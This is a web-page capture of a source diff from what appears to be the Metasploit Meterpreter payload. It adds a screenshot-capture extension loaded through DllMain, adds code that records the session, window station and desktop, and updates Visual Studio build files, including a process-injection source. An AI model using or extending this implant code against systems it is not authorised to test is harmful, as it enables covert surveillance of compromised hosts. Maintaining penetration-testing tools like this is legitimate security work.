BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
|
switch( dwReason )
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hInstance;
|
||||||
|
if( lpReserved != NULL )
|
||||||
|
screenshot_main( (char *)lpReserved );
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,35 @@
|
||||||
|
#ifndef _METERPRETER_SOURCE_SCREENSHOT_SCREENSHOT_H
|
||||||
|
#define _METERPRETER_SOURCE_SCREENSHOT_SCREENSHOT_H
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
//#define DEBUGTRACE
|
||||||
|
|
||||||
|
#ifdef DEBUGTRACE
|
||||||
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define dprintf(...) do{}while(0);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void real_dprintf(char *format, ...) {
|
||||||
|
va_list args;
|
||||||
|
char buffer[1024];
|
||||||
|
va_start(args,format);
|
||||||
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||||
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||||
|
OutputDebugString(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simple macro to close a handle and set the handle to NULL.
|
||||||
|
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
|
||||||
|
|
||||||
|
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||||
|
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||||
|
|
||||||
|
typedef BOOL (WINAPI * CHECKTOKENMEMBERSHIP)( HANDLE TokenHandle, PSID SidToCheck, PBOOL IsMember );
|
||||||
|
typedef HANDLE (WINAPI * OPENTHREAD)( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId );
|
||||||
|
|
||||||
|
#endif
|
|
@ -343,13 +343,48 @@ static DWORD server_dispatch( Remote * remote )
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get the session id that this meterpreter server is running in.
|
||||||
|
*/
|
||||||
|
DWORD server_sessionid( VOID )
|
||||||
|
{
|
||||||
|
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
||||||
|
|
||||||
|
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
|
||||||
|
HMODULE hKernel = NULL;
|
||||||
|
DWORD dwSessionId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !pProcessIdToSessionId )
|
||||||
|
{
|
||||||
|
hKernel = LoadLibrary( "kernel32.dll" );
|
||||||
|
if( hKernel )
|
||||||
|
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( !pProcessIdToSessionId )
|
||||||
|
break;
|
||||||
|
|
||||||
|
if( !pProcessIdToSessionId( GetCurrentProcessId(), &dwSessionId ) )
|
||||||
|
dwSessionId = -1;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hKernel )
|
||||||
|
FreeLibrary( hKernel );
|
||||||
|
|
||||||
|
return dwSessionId;
|
||||||
|
}
|
||||||
/*
|
/*
|
||||||
* Setup and run the server. This is called from Init via the loader.
|
* Setup and run the server. This is called from Init via the loader.
|
||||||
*/
|
*/
|
||||||
DWORD server_setup( SOCKET fd )
|
DWORD server_setup( SOCKET fd )
|
||||||
{
|
{
|
||||||
Remote *remote = NULL;
|
Remote * remote = NULL;
|
||||||
DWORD res = 0;
|
char cStationName[256] = {0};
|
||||||
|
char cDesktopName[256] = {0};
|
||||||
|
DWORD res = 0;
|
||||||
|
|
||||||
dprintf("[SERVER] Initializing...");
|
dprintf("[SERVER] Initializing...");
|
||||||
|
|
||||||
|
@ -396,6 +431,16 @@ DWORD server_setup( SOCKET fd )
|
||||||
// Copy it to the thread token
|
// Copy it to the thread token
|
||||||
remote->hThreadToken = remote->hServerToken;
|
remote->hThreadToken = remote->hServerToken;
|
||||||
|
|
||||||
|
// Save the initial session/station/desktop names...
|
||||||
|
remote->dwOrigSessionId = server_sessionid();
|
||||||
|
remote->dwCurrentSessionId = remote->dwOrigSessionId;
|
||||||
|
GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL );
|
||||||
|
remote->cpOrigStationName = _strdup( cStationName );
|
||||||
|
remote->cpCurrentStationName = _strdup( cStationName );
|
||||||
|
GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL );
|
||||||
|
remote->cpOrigDesktopName = _strdup( cDesktopName );
|
||||||
|
remote->cpCurrentDesktopName = _strdup( cDesktopName );
|
||||||
|
|
||||||
dprintf("[SERVER] Flushing the socket handle...");
|
dprintf("[SERVER] Flushing the socket handle...");
|
||||||
server_socket_flush( remote );
|
server_socket_flush( remote );
|
||||||
|
|
||||||
|
|
|
@ -452,6 +452,10 @@
|
||||||
RelativePath="..\..\source\common\base_dispatch_common.c"
|
RelativePath="..\..\source\common\base_dispatch_common.c"
|
||||||
>
|
>
|
||||||
</File>
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\common\arch\win\i386\base_inject.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\common\arch\win\buffer.c"
|
RelativePath="..\..\source\common\arch\win\buffer.c"
|
||||||
>
|
>
|
||||||
|
@ -749,6 +753,10 @@
|
||||||
RelativePath="..\..\source\common\base.h"
|
RelativePath="..\..\source\common\base.h"
|
||||||
>
|
>
|
||||||
</File>
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\common\arch\win\i386\base_inject.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\common\buffer.h"
|
RelativePath="..\..\source\common\buffer.h"
|
||||||
>
|
>
|
||||||
|
|
|
@ -859,6 +859,10 @@
|
||||||
<Filter
|
<Filter
|
||||||
Name="sys"
|
Name="sys"
|
||||||
>
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\session.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
<Filter
|
<Filter
|
||||||
Name="process"
|
Name="process"
|
||||||
>
|
>
|
||||||
|
@ -942,10 +946,6 @@
|
||||||
/>
|
/>
|
||||||
</FileConfiguration>
|
</FileConfiguration>
|
||||||
</File>
|
</File>
|
||||||
<File
|
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\process\in-mem-exe.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\process\memory.c"
|
RelativePath="..\..\source\extensions\stdapi\server\sys\process\memory.c"
|
||||||
>
|
>
|
||||||
|
@ -1026,18 +1026,10 @@
|
||||||
/>
|
/>
|
||||||
</FileConfiguration>
|
</FileConfiguration>
|
||||||
</File>
|
</File>
|
||||||
<File
|
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\process\process.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.c"
|
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.c"
|
||||||
>
|
>
|
||||||
</File>
|
</File>
|
||||||
<File
|
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\process\thread.c"
|
RelativePath="..\..\source\extensions\stdapi\server\sys\process\thread.c"
|
||||||
>
|
>
|
||||||
|
@ -1162,10 +1154,6 @@
|
||||||
/>
|
/>
|
||||||
</FileConfiguration>
|
</FileConfiguration>
|
||||||
</File>
|
</File>
|
||||||
<File
|
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\registry\registry.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter
|
<Filter
|
||||||
Name="power"
|
Name="power"
|
||||||
|
@ -1210,10 +1198,6 @@
|
||||||
/>
|
/>
|
||||||
</FileConfiguration>
|
</FileConfiguration>
|
||||||
</File>
|
</File>
|
||||||
<File
|
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\power\power.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter
|
<Filter
|
||||||
Name="eventlog"
|
Name="eventlog"
|
||||||
|
@ -1258,10 +1242,6 @@
|
||||||
/>
|
/>
|
||||||
</FileConfiguration>
|
</FileConfiguration>
|
||||||
</File>
|
</File>
|
||||||
<File
|
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\eventlog\eventlog.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter
|
<Filter
|
||||||
Name="sys config"
|
Name="sys config"
|
||||||
|
@ -1311,6 +1291,10 @@
|
||||||
<Filter
|
<Filter
|
||||||
Name="ui"
|
Name="ui"
|
||||||
>
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\ui\desktop.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\ui\idle.c"
|
RelativePath="..\..\source\extensions\stdapi\server\ui\idle.c"
|
||||||
>
|
>
|
||||||
|
@ -1515,10 +1499,54 @@
|
||||||
<Filter
|
<Filter
|
||||||
Name="sys"
|
Name="sys"
|
||||||
>
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\session.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
<File
|
<File
|
||||||
RelativePath="..\..\source\extensions\stdapi\server\sys\sys.h"
|
RelativePath="..\..\source\extensions\stdapi\server\sys\sys.h"
|
||||||
>
|
>
|
||||||
</File>
|
</File>
|
||||||
|
<Filter
|
||||||
|
Name="process"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\process\in-mem-exe.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\process\process.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\process\ps.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
<Filter
|
||||||
|
Name="registry"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\registry\registry.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
<Filter
|
||||||
|
Name="power"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\power\power.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
<Filter
|
||||||
|
Name="eventlog"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\extensions\stdapi\server\sys\eventlog\eventlog.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
</Filter>
|
</Filter>
|
||||||
<Filter
|
<Filter
|
||||||
Name="ui"
|
Name="ui"
|
||||||
|
|
|
@ -62,6 +62,11 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "elevator", "elevator\elevat
|
||||||
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
|
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
|
||||||
EndProjectSection
|
EndProjectSection
|
||||||
EndProject
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\screenshot.vcproj", "{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
Global
|
Global
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
Debug|Win32 = Debug|Win32
|
Debug|Win32 = Debug|Win32
|
||||||
|
@ -154,6 +159,13 @@ Global
|
||||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|Win32.Build.0 = Release|Win32
|
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|Win32.Build.0 = Release|Win32
|
||||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.ActiveCfg = Release|x64
|
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.ActiveCfg = Release|x64
|
||||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.Build.0 = Release|x64
|
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.Build.0 = Release|x64
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|x64.ActiveCfg = Debug|Win32
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64
|
||||||
EndGlobalSection
|
EndGlobalSection
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
HideSolutionNode = FALSE
|
HideSolutionNode = FALSE
|
||||||
|
|
|
@ -0,0 +1,381 @@
|
||||||
|
<?xml version="1.0" encoding="Windows-1252"?>
|
||||||
|
<VisualStudioProject
|
||||||
|
ProjectType="Visual C++"
|
||||||
|
Version="9.00"
|
||||||
|
Name="screenshot"
|
||||||
|
ProjectGUID="{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
|
||||||
|
RootNamespace="screenshot"
|
||||||
|
Keyword="Win32Proj"
|
||||||
|
TargetFrameworkVersion="196613"
|
||||||
|
>
|
||||||
|
<Platforms>
|
||||||
|
<Platform
|
||||||
|
Name="Win32"
|
||||||
|
/>
|
||||||
|
<Platform
|
||||||
|
Name="x64"
|
||||||
|
/>
|
||||||
|
</Platforms>
|
||||||
|
<ToolFiles>
|
||||||
|
</ToolFiles>
|
||||||
|
<Configurations>
|
||||||
|
<Configuration
|
||||||
|
Name="Debug|Win32"
|
||||||
|
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="1"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="0"
|
||||||
|
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
|
||||||
|
MinimalRebuild="true"
|
||||||
|
BasicRuntimeChecks="3"
|
||||||
|
RuntimeLibrary="3"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="4"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
LinkIncremental="2"
|
||||||
|
GenerateDebugInformation="true"
|
||||||
|
SubSystem="2"
|
||||||
|
TargetMachine="1"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
<Configuration
|
||||||
|
Name="Release|Win32"
|
||||||
|
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="2"
|
||||||
|
WholeProgramOptimization="0"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="1"
|
||||||
|
InlineFunctionExpansion="1"
|
||||||
|
EnableIntrinsicFunctions="false"
|
||||||
|
FavorSizeOrSpeed="2"
|
||||||
|
AdditionalIncludeDirectories=""..\..\source\jpeg-8""
|
||||||
|
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||||
|
StringPooling="true"
|
||||||
|
RuntimeLibrary="0"
|
||||||
|
EnableFunctionLevelLinking="true"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="3"
|
||||||
|
CallingConvention="0"
|
||||||
|
CompileAs="1"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
AdditionalDependencies="jpeg.lib"
|
||||||
|
OutputFile=".\release\screenshot.dll"
|
||||||
|
LinkIncremental="1"
|
||||||
|
AdditionalLibraryDirectories=""..\..\source\jpeg-8\lib\win\x86""
|
||||||
|
GenerateManifest="false"
|
||||||
|
ManifestFile=""
|
||||||
|
GenerateDebugInformation="false"
|
||||||
|
SubSystem="2"
|
||||||
|
OptimizeReferences="2"
|
||||||
|
EnableCOMDATFolding="2"
|
||||||
|
RandomizedBaseAddress="2"
|
||||||
|
FixedBaseAddress="1"
|
||||||
|
DataExecutionPrevention="2"
|
||||||
|
TargetMachine="1"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
EmbedManifest="false"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
CommandLine="copy /y "$(ProjectDir)\release\screenshot.dll" "$(ProjectDir)..\..\output\""
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
<Configuration
|
||||||
|
Name="Debug|x64"
|
||||||
|
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="1"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
TargetEnvironment="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="0"
|
||||||
|
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
|
||||||
|
MinimalRebuild="true"
|
||||||
|
BasicRuntimeChecks="3"
|
||||||
|
RuntimeLibrary="3"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
LinkIncremental="2"
|
||||||
|
GenerateDebugInformation="true"
|
||||||
|
SubSystem="2"
|
||||||
|
TargetMachine="17"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
<Configuration
|
||||||
|
Name="Release|x64"
|
||||||
|
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="2"
|
||||||
|
WholeProgramOptimization="0"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
TargetEnvironment="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="1"
|
||||||
|
InlineFunctionExpansion="1"
|
||||||
|
EnableIntrinsicFunctions="false"
|
||||||
|
FavorSizeOrSpeed="2"
|
||||||
|
AdditionalIncludeDirectories=""..\..\source\jpeg-8""
|
||||||
|
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||||
|
StringPooling="true"
|
||||||
|
RuntimeLibrary="0"
|
||||||
|
EnableFunctionLevelLinking="true"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="3"
|
||||||
|
CallingConvention="0"
|
||||||
|
CompileAs="1"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
AdditionalDependencies="jpeg.lib"
|
||||||
|
OutputFile=".\release\screenshot.x64.dll"
|
||||||
|
LinkIncremental="1"
|
||||||
|
AdditionalLibraryDirectories=""..\..\source\jpeg-8\lib\win\x64""
|
||||||
|
GenerateManifest="false"
|
||||||
|
ManifestFile=""
|
||||||
|
GenerateDebugInformation="false"
|
||||||
|
SubSystem="2"
|
||||||
|
OptimizeReferences="2"
|
||||||
|
EnableCOMDATFolding="2"
|
||||||
|
RandomizedBaseAddress="2"
|
||||||
|
FixedBaseAddress="1"
|
||||||
|
DataExecutionPrevention="2"
|
||||||
|
TargetMachine="17"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
EmbedManifest="false"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
CommandLine="copy /y "$(ProjectDir)\release\screenshot.x64.dll" "$(ProjectDir)..\..\output\""
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
</Configurations>
|
||||||
|
<References>
|
||||||
|
</References>
|
||||||
|
<Files>
|
||||||
|
<Filter
|
||||||
|
Name="Source Files"
|
||||||
|
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||||
|
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\screenshot\bmp2jpeg.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\screenshot\screenshot.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
<Filter
|
||||||
|
Name="Header Files"
|
||||||
|
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||||
|
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\screenshot\bmp2jpeg.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath="..\..\source\screenshot\screenshot.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
</Files>
|
||||||
|
<Globals>
|
||||||
|
</Globals>
|
||||||
|
</VisualStudioProject>
|
Loading…
Reference in New Issue